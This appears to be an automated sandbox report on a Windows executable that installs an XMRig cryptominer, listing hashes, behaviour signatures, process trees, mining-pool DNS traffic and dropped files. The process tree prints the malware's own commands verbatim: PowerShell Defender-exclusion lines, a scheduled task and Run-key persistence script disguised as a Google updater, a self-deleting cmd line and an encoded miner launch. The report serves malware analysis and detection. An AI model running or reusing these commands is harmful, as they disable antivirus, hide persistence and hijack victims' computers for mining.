Resubmissions
25/01/2024, 16:55 UTC
240125-vfcyksbhgr 1024/01/2024, 17:15 UTC
240124-vstf4aecaj 1023/01/2024, 19:27 UTC
240123-x6cfvagbd9 1023/01/2024, 19:27 UTC
240123-x6bvbafgem 1023/01/2024, 19:27 UTC
240123-x6bjjsgbd8 1023/01/2024, 19:27 UTC
240123-x6ax1sfgek 1023/01/2024, 19:27 UTC
240123-x6abgsfgej 1023/01/2024, 19:27 UTC
240123-x591qagbd7 1023/01/2024, 19:27 UTC
240123-x59d7agbd6 1023/01/2024, 19:27 UTC
240123-x584esgbd5 10Analysis
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max time kernel
335s -
max time network
1804s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
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submitted
25/01/2024, 16:55 UTC
General
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Target
grhsghsGHswgh/qM5GMXBk6hJE6Y5e.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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XMRig Miner payload 30 IoCs
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Deletes itself 1 IoCs
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Executes dropped EXE 1 IoCs
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Loads dropped DLL 1 IoCs
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UPX packed file 31 IoCs
Detects executables packed with UPX/modified UPX open source packer.
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Drops file in System32 directory 5 IoCs
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Suspicious use of SetThreadContext 2 IoCs
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Drops file in Program Files directory 4 IoCs
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
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Suspicious behavior: EnumeratesProcesses 25 IoCs
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Suspicious behavior: LoadsDriver 1 IoCs
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Suspicious use of AdjustPrivilegeToken 31 IoCs
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Suspicious use of WriteProcessMemory 20 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\qM5GMXBk6hJE6Y5e.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\qM5GMXBk6hJE6Y5e.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\qM5GMXBk6hJE6Y5e.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"1⤵
- Creates scheduled task(s)
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskeng.exetaskeng.exe {5193C022-1865-4CD7-AAA2-973851F49BD2} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"1⤵
- Drops file in Program Files directory
Network
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DNSpool.hashvault.proRemote address:8.8.8.8:53Requestpool.hashvault.proIN AResponsepool.hashvault.proIN A95.179.241.203pool.hashvault.proIN A45.76.89.70 -
DNSpool.hashvault.proRemote address:8.8.8.8:53Requestpool.hashvault.proIN A
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95.179.241.203:3333pool.hashvault.protls
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8.8.8.8:53pool.hashvault.prodns
DNS Request
pool.hashvault.pro
DNS Request
pool.hashvault.pro
DNS Response
95.179.241.20345.76.89.70
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
161KB
MD5c37705764a389172c952c45e2f98d14d
SHA1cdad0e96859181a4ba14842a7bc372b6f041fa52
SHA256c7b7d1a25c38292ea3c03d633146e36fd6d560a465d7b404000d0894549171fc
SHA512e3f790ab2d5cc694d60eeef66e8a2ac2a2fca767a238e01dff0f44dd422060beb72e18dea2da18541d19200782a694fcec863ecd2e102a217387815441214ff4
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Filesize
100KB
MD58262c368a647f3d65f43f0f4c55597a3
SHA1c63ebec2c3dbdf8c99713389cff085ac90101cb7
SHA2566e96c6a3b0a7cf21b71142c9de89cfa28792dec93bdf002a1d5c6e27885871c9
SHA512e3e566952e9eda5f7e140ee89def6242f0e83cff3a494a944cff837e6fc6b55df19cddb2724ae0600dc0711698a5da621d9ebbc90492f0af785d9c685c8937ec
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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Filesize
7KB
MD56156e6a3111877edee6e7fbb698a36b1
SHA17b725117647da3e3c17ed44e23abe7d7477807af
SHA256eb0834a7374ec31b658c3541b1774329514694f6d62711dab2b5d2ecc2727389
SHA51238c708dff2d6e8ba854a5cd4bd8edc3d354fecdc5f73fcbbf63e20bf0875400c2f4912c93ab6b5e591861b814c9234ef8c0b16b83b11625f7ce472f70b69b971
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Filesize
310KB
MD5c39aa133023cb5ad0b4053b70ed8f7cf
SHA122a53807f12d700ee06016f810c34d161f925d8f
SHA2569d760bce55faa9b6c57f82a793eab37e6fdf958fc4d082951acb805361182f71
SHA51264d28318a851107900ad68d375af376b0a9309dcaf5242e45b28eab9d345bfb70746b2c4c4407d75cc0f1bd320dbdc70cc2be7841034e0ea298dbfcdc5ff656d
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Filesize
412KB
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Filesize
12KB
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Filesize
9.6MB
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Filesize
512KB
-
Filesize
512KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
512KB
-
Filesize
9.6MB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
9.6MB
-
Filesize
512KB
-
Filesize
2.1MB
-
Filesize
2.1MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
128KB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
128KB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
128KB
-
Filesize
9.6MB
-
Filesize
32KB
-
Filesize
9.6MB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
9.6MB
-
Filesize
2.9MB
-
Filesize
512KB
-
Filesize
88KB
-
Filesize
88KB
-
Filesize
2.1MB
-
Filesize
2.1MB
-
Filesize
412KB
-
Filesize
512KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
9.6MB
-
Filesize
2.9MB
-
Filesize
32KB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB